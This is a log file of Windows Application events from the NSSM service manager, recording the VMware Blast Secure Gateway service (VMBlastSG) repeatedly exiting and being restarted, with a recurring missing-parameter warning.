{"@timestamp":1646772696167,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163125}}
{"@timestamp":1646772824669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163126}}
{"@timestamp":1646772824671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163127}}
{"@timestamp":1646772824671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160208","0"]}}},"module":"Application","provider":"nssm","sequence":163128}}
{"@timestamp":1646772824671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160208","160208","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163129}}
{"@timestamp":1646772824691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163130}}
{"@timestamp":1646772824691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163131}}
{"@timestamp":1646772824692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163132}}
{"@timestamp":1646772824692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163133}}
{"@timestamp":1646772953307,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163134}}
{"@timestamp":1646772953313,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163135}}
{"@timestamp":1646772953314,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159784","0"]}}},"module":"Application","provider":"nssm","sequence":163136}}
{"@timestamp":1646772953315,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159784","159784","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163137}}
{"@timestamp":1646772953332,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163138}}
{"@timestamp":1646772953334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163139}}
{"@timestamp":1646772953339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163140}}
{"@timestamp":1646772953340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163141}}
{"@timestamp":1646773081983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163142}}
{"@timestamp":1646773081984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163143}}
{"@timestamp":1646773081985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158912","0"]}}},"module":"Application","provider":"nssm","sequence":163144}}
{"@timestamp":1646773081988,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158912","158912","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163145}}
{"@timestamp":1646773082005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163146}}
{"@timestamp":1646773082006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163147}}
{"@timestamp":1646773082006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163148}}
{"@timestamp":1646773082007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163149}}
{"@timestamp":1646773210486,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163150}}
{"@timestamp":1646773210487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163151}}
{"@timestamp":1646773210488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159996","0"]}}},"module":"Application","provider":"nssm","sequence":163152}}
{"@timestamp":1646773210488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159996","159996","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163153}}
{"@timestamp":1646773210504,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163154}}
{"@timestamp":1646773210505,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163155}}
{"@timestamp":1646773210505,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163156}}
{"@timestamp":1646773210506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163157}}
{"@timestamp":1646773339013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163158}}
{"@timestamp":1646773339014,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163159}}
{"@timestamp":1646773339015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160392","0"]}}},"module":"Application","provider":"nssm","sequence":163160}}
{"@timestamp":1646773339015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160392","160392","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163161}}
{"@timestamp":1646773339032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163162}}
{"@timestamp":1646773339032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163163}}
{"@timestamp":1646773339033,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163164}}
{"@timestamp":1646773339034,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163165}}
{"@timestamp":1646773467551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163166}}
{"@timestamp":1646773467553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163167}}
{"@timestamp":1646773467554,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159304","0"]}}},"module":"Application","provider":"nssm","sequence":163168}}
{"@timestamp":1646773467554,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159304","159304","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163169}}
{"@timestamp":1646773467571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163170}}
{"@timestamp":1646773467572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163171}}
{"@timestamp":1646773467572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163172}}
{"@timestamp":1646773467573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163173}}
{"@timestamp":1646773596069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163174}}
{"@timestamp":1646773596070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163175}}
{"@timestamp":1646773596071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160368","0"]}}},"module":"Application","provider":"nssm","sequence":163176}}
{"@timestamp":1646773596071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160368","160368","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163177}}
{"@timestamp":1646773596088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163178}}
{"@timestamp":1646773596089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163179}}
{"@timestamp":1646773596089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163180}}
{"@timestamp":1646773596090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163181}}
{"@timestamp":1646773724608,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163182}}
{"@timestamp":1646773724611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163183}}
{"@timestamp":1646773724612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159172","0"]}}},"module":"Application","provider":"nssm","sequence":163184}}
{"@timestamp":1646773724613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159172","159172","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163185}}
{"@timestamp":1646773724630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163186}}
{"@timestamp":1646773724631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163187}}
{"@timestamp":1646773724631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163188}}
{"@timestamp":1646773724632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163189}}
{"@timestamp":1646773853419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163190}}
{"@timestamp":1646773853420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163191}}
{"@timestamp":1646773853420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158724","0"]}}},"module":"Application","provider":"nssm","sequence":163192}}
{"@timestamp":1646773853421,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158724","158724","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163193}}
{"@timestamp":1646773853439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160012","0"]}}},"module":"Application","provider":"nssm","sequence":163194}}
{"@timestamp":1646773853439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160012","158724","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163195}}
{"@timestamp":1646773853458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163196}}
{"@timestamp":1646773853459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163197}}
{"@timestamp":1646773853460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163198}}
{"@timestamp":1646773853461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163199}}
{"@timestamp":1646773981941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163200}}
{"@timestamp":1646773981941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163201}}
{"@timestamp":1646773981942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160192","0"]}}},"module":"Application","provider":"nssm","sequence":163202}}
{"@timestamp":1646773981943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160192","160192","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163203}}
{"@timestamp":1646773981962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163204}}
{"@timestamp":1646773981962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163205}}
{"@timestamp":1646773981963,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163206}}
{"@timestamp":1646773981964,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163207}}
{"@timestamp":1646774110439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163208}}
{"@timestamp":1646774110439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163209}}
{"@timestamp":1646774110441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160348","0"]}}},"module":"Application","provider":"nssm","sequence":163210}}
{"@timestamp":1646774110442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160348","160348","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163211}}
{"@timestamp":1646774110459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163212}}
{"@timestamp":1646774110459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163213}}
{"@timestamp":1646774110460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163214}}
{"@timestamp":1646774110461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163215}}
{"@timestamp":1646774238943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163216}}
{"@timestamp":1646774238944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163217}}
{"@timestamp":1646774238944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160344","0"]}}},"module":"Application","provider":"nssm","sequence":163218}}
{"@timestamp":1646774238945,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160344","160344","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163219}}
{"@timestamp":1646774238961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163220}}
{"@timestamp":1646774238962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163221}}
{"@timestamp":1646774238962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163222}}
{"@timestamp":1646774238963,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163223}}
{"@timestamp":1646774367517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163224}}
{"@timestamp":1646774367523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163225}}
{"@timestamp":1646774367524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159536","0"]}}},"module":"Application","provider":"nssm","sequence":163226}}
{"@timestamp":1646774367525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159536","159536","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163227}}
{"@timestamp":1646774367544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163228}}
{"@timestamp":1646774367545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163229}}
